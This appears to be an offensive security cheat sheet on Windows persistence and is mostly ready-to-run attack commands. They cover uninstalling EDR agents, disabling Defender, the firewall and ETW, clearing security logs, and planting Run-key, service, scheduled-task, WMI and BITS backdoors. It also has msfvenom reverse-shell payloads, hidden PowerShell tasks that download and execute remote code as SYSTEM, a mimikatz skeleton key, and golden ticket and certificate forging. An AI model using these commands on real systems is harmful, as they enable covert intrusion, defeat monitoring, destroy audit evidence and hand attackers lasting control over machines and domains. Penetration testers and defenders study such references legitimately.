Windows - Persistence
contents
Summary#
Tools#
Hide Your Binary#
Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
PS> attrib +h mimikatz.exeDisable Antivirus and Security#
Antivirus Removal#
cd "C:\Program Files\Elastic\Agent\"PS C:\Program Files\Elastic\Agent> .\elastic-agent.exe uninstallElastic Agent will be uninstalled from your system at C:\Program Files\Elastic\Agent. Do you want to continue? [Y/n]:YElastic Agent has been uninstalled.# Global uninstall password: Password1Password hash is located in C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.dbLook for PasswordHash, PasswordSalt or password, salt strings.# Disable Cortex: Change the DLL to a random value, then REBOOTreg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CryptSvc\Parameters /t REG_EXPAND_SZ /v ServiceDll /d nothing.dll /f# Disables the agent on startup (requires reboot to work)cytool.exe startup disable# Disables protection on Cortex XDR files, processes, registry and servicescytool.exe protect disable# Disables Cortex XDR (Even with tamper protection enabled)cytool.exe runtime disable# Disables event collectioncytool.exe event_collection disable
Disable Windows Defender#
# Disable Defendersc config WinDefend start= disabledsc stop WinDefendSet-MpPreference -DisableRealtimeMonitoring $true## Exclude a process / locationSet-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'Add-MpPreference -ExclusionPath C:\Video, C:\install# Disable scanning all downloaded files and attachments, disable AMSI (reactive)PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatusPS C:\> Set-MpPreference -DisableIOAVProtection $true# Disable AMSI (set to 0 to enable)PS C:\> Set-MpPreference -DisableScriptScanning 1 # Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessionsreg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f# Wipe currently stored definitions# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>MpCmdRun.exe -RemoveDefinitions -All# Remove signatures (if Internet connection is present, they will be downloaded again):PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -AllPS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All# Disable Windows Defender Security Centerreg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f# Disable Real Time Protectionreg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /freg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /freg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /fDisable Windows Firewall#
Netsh Advfirewall show allprofilesNetSh Advfirewall set allprofiles state off# ip whitelistingNew-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IPClear System and Security Logs#
cmd.exe /c wevtutil.exe cl Systemcmd.exe /c wevtutil.exe cl SecuritySimple User#
Set a file as hidden
attrib +h c:\autoexec.batRegistry HKCU#
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
Value name: BackdoorValue data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exeUsing the command line
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"Using mandiant/SharPersist
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m addSharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o envSharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
Persistence via NTUSER.MAN#
Directly modifying HKCU for persistence (e.g., Run keys) is noisy and commonly detected by modern EDR solutions. A lesser-known alternative is to pre-seed the user’s registry hive offline by abusing NTUSER.MAN, which Windows treats as a mandatory profile.
When a user logs in, Windows loads their registry hive from disk. If an NTUSER.MAN file is present instead of (or alongside) NTUSER.DAT, Windows loads the hive as read-only and applies its contents verbatim—without generating the usual registry modification telemetry.
Instead of editing the live registry:
Export the target user’s
HKCUhive- Via
reg export HKCU exported.reg - Using a BOF-based approach to avoid spawning
reg.exe.
- Via
Modify the exported registry data offline
- Add or change persistence mechanisms (e.g.,
Runkeys).
- Add or change persistence mechanisms (e.g.,
Convert the modified
.regfile into a binary hive- Use praetorian-inc/swarmer to generate a valid
NTUSER.MAN.
- Use praetorian-inc/swarmer to generate a valid
Drop the resulting
NTUSER.MANinto the user’s profile directory%USERPROFILE%\NTUSER.MAN
Example:
swarmer.exe --startup-key "Updater" --startup-value "C:\Path\To\payload.exe" exported.reg NTUSER.MANOn the next logon, Windows loads this hive automatically, establishing persistence without touching the live registry.
Mandatory profile side effects
Creating an NTUSER.MAN converts the user profile into a mandatory profile. Any registry or profile changes made during the session are discarded at logoff and will not persist across logins.
Immutability without elevation
Once deployed, the hive is effectively immutable. Modifying or removing the persistence requires deleting NTUSER.MAN, which typically necessitates administrative privileges.
Login-time loading only
The hive is loaded exclusively during user logon. Changes to NTUSER.MAN have no effect until the user fully logs out and logs back in.
Limited scope This technique applies only to the user registry hive (HKCU). It does not impact machine-wide settings (HKLM) and provides per-user persistence only.
Startup#
Create a batch script in the user startup folder: %AppData%
PS C:\> gc C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.batstart /b C:\Users\Username\AppData\Local\Temp\backdoor.exeUsing SharPersist
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m addScheduled Tasks User#
Using native schtask - Create a new task
# Create the scheduled tasks to run once at 00.00schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe# Force run it now !schtasks /run /tn "Device-Synchronize"Using native schtask - Leverage the
schtasks /changecommand to modify existing scheduled tasks# Launch an executable by calling the ShellExec_RunDLL function.SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLEUsing Powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"PS C:\> $S = New-ScheduledTaskSettingsSetPS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $SPS C:\> Register-ScheduledTask Backdoor -InputObject $DUsing SharPersist
# Add to a current scheduled taskSharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add# Add new taskSharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m addSharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
BITS Jobs#
bitsadmin /create backdoorbitsadmin /addfile backdoor "http://10.10.10.10/evil.exe" "C:\tmp\evil.exe"# v1bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NULbitsadmin /SetMinRetryDelay "backdoor" 60bitsadmin /resume backdoor# v2 - exploit/multi/script/web_deliverybitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"bitsadmin /resume backdoorCOM TypeLib#
- CICADA8-Research/TypeLibWalker - TypeLib persistence technique
Use sysinternals/procmon to find RegOpenKey with the status NAME NOT FOUND. The process explorer.exe is a good target, as it will spawn your payload every time it is run.
Path: HKCU\Software\Classes\TypeLib\{CLSID}\1.1\0\win32Path: HKCU\Software\Classes\TypeLib\{CLSID}\1.1\0\win64Name: anythingType: REG_SZValue: script:C:\1.sctExample of content for 1.sct.
<?xml version="1.0"?><scriptlet> <registration description="explorer" progid="explorer" version="1.0" classid="{66666666-6666-6666-6666-666666666666}" remotable="true"> </registration> <script language="JScript"> <![CDATA[ var WShell = new ActiveXObject("WScript.Shell"); WShell.Run("calc.exe"); ]]> </script></scriptlet>Serviceland#
IIS#
IIS Raid – Backdooring IIS Using Native Modules
$ git clone https://github.com/0x09AL/IIS-Raid$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASSC:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:trueWindows Service#
Using SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m addElevated#
Registry HKLM#
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
Value name: BackdoorValue data: C:\Windows\Temp\backdoor.exeUsing the command line
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"Winlogon Helper DLL#
Run executable during Windows logon
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exemsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dllreg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /freg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /fSet-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -ForceSet-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -ForceGlobalFlag#
Run executable after notepad is killed
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"Startup Elevated#
Create a batch script in the ProgramData startup folder.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp Services Elevated#
Create a service that will start automatically or on-demand.
# PowershellNew-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automaticsc start Backdoor# SharPersistSharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add# scsc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"sc start BackdoorServiceSecurityDescriptor#
Allow any arbitrary non-administrative user to have full SYSTEM permissions on a machine persistently by feeding an overly permissive ACL to the service control manager with sdset.
Exploit:
sc.exe sdset <ServiceName> <ServiceSecurityDescriptor>The following command grants full control (Key Access) over the Service Control Manager to all users (represented by WD, which stands for “World”). In other words, it allows any user to start, stop, modify, or control services through the Service Control Manager, which can be a security risk as it opens service management to everyone on the system.
sc.exe sdset scmanager D:(A;;KA;;;WD)sc.exe: The Service Control (sc) command is a Windows utility used for managing services.sdset: This option sets a Security Descriptor (SD) for a service or the Service Control Manager itself. A security descriptor defines permissions and access rights to system resources.scmanager: This is the target, referring to the Service Control Manager, which manages the services in the system.
The ServiceSecurityDescriptor is defined using the Service Descriptor Definition Language (SDDL).
List the permissions for scmanager
sc.exe sdshow scmanagerAlternatively, you can use zacateras/sddl-parser to understand the Security Descriptor Definition Language (SDDL), e.g: ./Sddl.Parser.Console.exe "O:BAG:BAD:(A;CI;CCDCRP;;;NS)".
Abuse the weaken configuration to create a service that grants administrator privilege to a custom user user_basic.
sc create LPE displayName= "LPE" binPath= "C:\Windows\System32\net.exe localgroup Administrators user_basic /add" start= autoThen you need to wait for a reboot for the service to automatically start and grant the user with elevated privilege or any persistence mechanism you specified in the binPath.
Scheduled Tasks Elevated#
Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.
Processes spawned as scheduled tasks have taskeng.exe process as their parent
# Powershell$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"$T = New-ScheduledTaskTrigger -Daily -At 9am# OR$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest$S = New-ScheduledTaskSettingsSet$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $SRegister-ScheduledTask "Backdoor" -InputObject $D# Native schtasksschtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p passwordschtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]##(X86) - On User Loginschtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System ##(X86) - On System Startschtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System ##(X86) - On User Idle (30mins)schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30 ##(X64) - On User Loginschtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System ##(X64) - On System Startschtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System ##(X64) - On User Idle (30mins)schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30Windows Management Instrumentation Event Subscription#
An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.
- __EventFilter: Trigger (new process, failed logon etc.)
- EventConsumer: Perform Action (execute payload etc.)
- __FilterToConsumerBinding: Binds Filter and Consumer Classes
# Using CMD : Execute a binary 60 seconds after Windows startedwmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WMIPersist", ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\System32\binary.exe"wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WMIPersist\"", Consumer="CommandLineEventConsumer.Name=\"WMIPersist\""# Remove itGet-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='WMIPersist'" | Remove-WmiObject -Verbose# Using Powershell (deploy)$FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"};$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";}$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs# Using Powershell (remove)$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'WMIPersist'"$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'WMIPersist'"$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"$FilterConsumerBindingToCleanup | Remove-WmiObject$EventConsumerToCleanup | Remove-WmiObject$EventFilterToCleanup | Remove-WmiObjectBinary Replacement#
Binary Replacement on Windows XP+#
| Feature | Executable |
|---|---|
| Sticky Keys | C:\Windows\System32\sethc.exe |
| Accessibility Menu | C:\Windows\System32\utilman.exe |
| On-Screen Keyboard | C:\Windows\System32\osk.exe |
| Magnifier | C:\Windows\System32\Magnify.exe |
| Narrator | C:\Windows\System32\Narrator.exe |
| Display Switcher | C:\Windows\System32\DisplaySwitch.exe |
| App Switcher | C:\Windows\System32\AtBroker.exe |
In Metasploit : use post/windows/manage/sticky_keys
Binary Replacement on Windows 10+#
Exploit a DLL hijacking vulnerability in the On-Screen Keyboard osk.exe executable.
Create a malicious HID.dll in C:\Program Files\Common Files\microsoft shared\ink\HID.dll.
Skeleton Key#
Inject a master password into the LSASS process of a Domain Controller.
Requirements:
- Domain Administrator (SeDebugPrivilege) or
NTAUTHORITY\SYSTEM
Exploitation:
# Execute the skeleton key attackmimikatz "privilege::debug" "misc::skeleton"Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN># Access using the password "mimikatz"Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\AdministratorVirtual Machines#
Based on the Shadow Bunny technique.
# download virtualboxInvoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe# perform a silent install and avoid creating desktop and quick launch iconsVirtualBox-6.0.14-133895-Win.exe --silent --ignore-reboot --msiparams VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0# in \Program Files\Oracle\VirtualBox\VBoxManage.exe# Disabling notifications.\VBoxManage.exe setextradata global GUI/SuppressMessages "all" # Download the Virtual machine diskCopy-Item \\smbserver\images\shadowbunny.vhd $env:USERPROFILE\VirtualBox\IT Recovery\shadowbunny.vhd# Create a new VM$vmname = "IT Recovery".\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" --register# Add a network card in NAT mode.\VBoxManage.exe modifyvm $vmname --ioapic on # required for 64bit.\VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128.\VBoxManage.exe modifyvm $vmname --nic1 nat.\VBoxManage.exe modifyvm $vmname --audio none.\VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga.\VBoxManage.exe modifyvm $vmname --description "Shadowbunny"# Mount the VHD file.\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata.\VBoxManage.exe storageattach $vmname -comment "Shadowbunny Disk" -storagectl "SATA Controller" -type hdd -medium "$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd" -port 0# Start the VM.\VBoxManage.exe startvm $vmname –type headless # optional - adding a shared folder# require: VirtualBox Guest Additions.\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount# then mount the folder in the VMsudo mkdir /mnt/csudo mount -t vboxsf shadow_c /mnt/cWindows Subsystem for Linux#
# List and install online packageswsl --list --onlinewsl --install -d kali-linux# Use a local packagewsl --set-default-version 2curl.exe --insecure -L -o debian.appx https://aka.ms/wsl-debian-gnulinuxAdd-AppxPackage .\debian.appx# Run the machine as rootwsl kali-linux --user rootDomain#
User Certificate#
# Request a certificate for the User template.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User# Convert the certificate for Rubeusopenssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx# Request a TGT using the certificate.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!Golden Certificate#
Require elevated privileges in the Active Directory, or on the ADCS machine
Export CA as p12 file:
certsrv.msc>Right Click>Back up CA...Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
privilege::debugcrypto::capicrypto::cngcrypto::certificates /systemstore:local_machine /store:my /exportAlternative 2: Using SharpDPAPI, then convert the certificate:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfxForgeCert - Forge a certificate for any active domain user using the CA certificate
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123Finally you can request a TGT using the Certificate
Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
Golden Ticket#
Forge a Golden ticket using Mimikatz
kerberos::purgekerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /pttkerberos::tgtLAPS Persistence#
To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.
Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}References#
- Beware of the Shadowbunny - Using virtual machines to persist and evade detections - wunderwuzzi - September 23, 2020
- Corrupting the Hive Mind: Persistence Through Forgotten Windows Internals - Michael Weber - January 26, 2026
- Golden Certificate - NOVEMBER 15, 2021
- Hijack the TypeLib. New COM persistence technique - CICADA8 - October 22, 2024
- IIS Raid – Backdooring IIS Using Native Modules - February 19, 2020
- Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - @phraaaaaaa - April 27, 2020
- Persistence - BITS Jobs - @netbiosX
- Persistence - Checklist - @netbiosX
- Persistence – Image File Execution Options Injection - @netbiosX
- Persistence – Registry Run Keys - @netbiosX
- Persistence – Winlogon Helper DLL - @netbiosX
- Persistence via WMI Event Subscription - Elastic Security Solution
- PrivEsc: Abusing the Service Control Manager for Stealthy & Persistent LPE - 0xv1n - February 27, 2023
- Sc sdset - Microsoft - August 31, 2016
- SharPersist Windows Persistence Toolkit in C - Brett Hawkins - September 8, 2019
- Windows Persistence Commands - Pwn Wiki